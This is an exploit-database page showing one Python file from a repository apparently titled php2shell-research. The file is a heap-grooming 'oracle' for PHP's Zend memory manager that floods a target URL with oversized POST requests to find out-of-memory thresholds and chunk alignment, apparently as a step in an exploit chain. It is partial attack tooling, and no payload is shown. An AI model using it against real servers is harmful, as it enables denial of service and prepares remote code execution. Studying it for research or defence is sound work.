Exploit database

GH-53b87ac273ac401ba310c4272b31e888

joshrob297/php2shell-research

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

412 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
joshrob297/php2shell-researchRevision a31b2a2daaa2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/exploit/grooming/heap_oracle.py

Python · 2,963 bytes
#!/usr/bin/env python3
"""heap_oracle.py - Oraculo de allocator autonomo para Zend MM."""

from __future__ import annotations

import socket
import time
from typing import Any, Dict, List, Optional, Tuple

import requests


class HeapOracle:
    """Prueba multiples tamanos de chunk y alineaciones para encontrar el slot exacto
    en el que cae el struct colgante d en Zend MM, sin depender de offsets fijos.
    """

    def __init__(self, target_url: str, timeout: float = 10.0):
        self.target_url = target_url
        self.timeout = timeout

    def probe_chunk_size(self, size: int, iterations: int = 5) -> Dict[str, Any]:
        """Envia un warmup con un tamano de chunk especifico y mide la respuesta."""
        results = []
        for _ in range(iterations):
            try:
                data = b"x=" + b"A" * size
                t0 = time.perf_counter()
                resp = requests.post(self.target_url, data=data, timeout=self.timeout)
                dt = time.perf_counter() - t0
                results.append({
                    "status": resp.status_code,
                    "size": len(resp.content),
                    "time_ms": round(dt * 1000, 2),
                    "body_snippet": resp.text[:100],
                })
            except Exception as e:
                results.append({"error": str(e)})
        return {"size": size, "results": results}

    def sweep_chunk_sizes(self, sizes: Optional[List[int]] = None) -> List[Dict[str, Any]]:
        """Barrido de tamanos de chunk para encontrar el que produce OOM o leak."""
        if sizes is None:
            sizes = [1000, 5000, 10000, 15000, 20000, 50000, 100000, 500000, 1000000]
        return [self.probe_chunk_size(s) for s in sizes]

    def find_oom_threshold(self, start: int = 1000, step: int = 1000, max_size: int = 1000000) -> int:
        """Encuentra el umbral de OOM incrementando el tamano del chunk."""
        size = start
        while size <= max_size:
            try:
                data = b"x=" + b"A" * size
                resp = requests.post(self.target_url, data=data, timeout=self.timeout)
                if resp.status_code == 500 or "memory" in resp.text.lower():
                    return size
            except Exception:
                pass
            size += step
        return -1

    def validate_alignment(self, base_heap: int, target: int) -> bool:
        """Valida que la diferencia target - base sea multiplo de 16 (slots de la primitiva)."""
        diff = target - base_heap
        return diff % 16 == 0

    def run_full_oracle(self) -> Dict[str, Any]:
        """Ejecuta el oraculo completo y retorna el mejor tamano de chunk y alineacion."""
        sweep = self.sweep_chunk_sizes()
        oom_threshold = self.find_oom_threshold()
        return {
            "sweep": sweep,
            "oom_threshold": oom_threshold,
            "best_chunk": oom_threshold if oom_threshold > 0 else 12300,
        }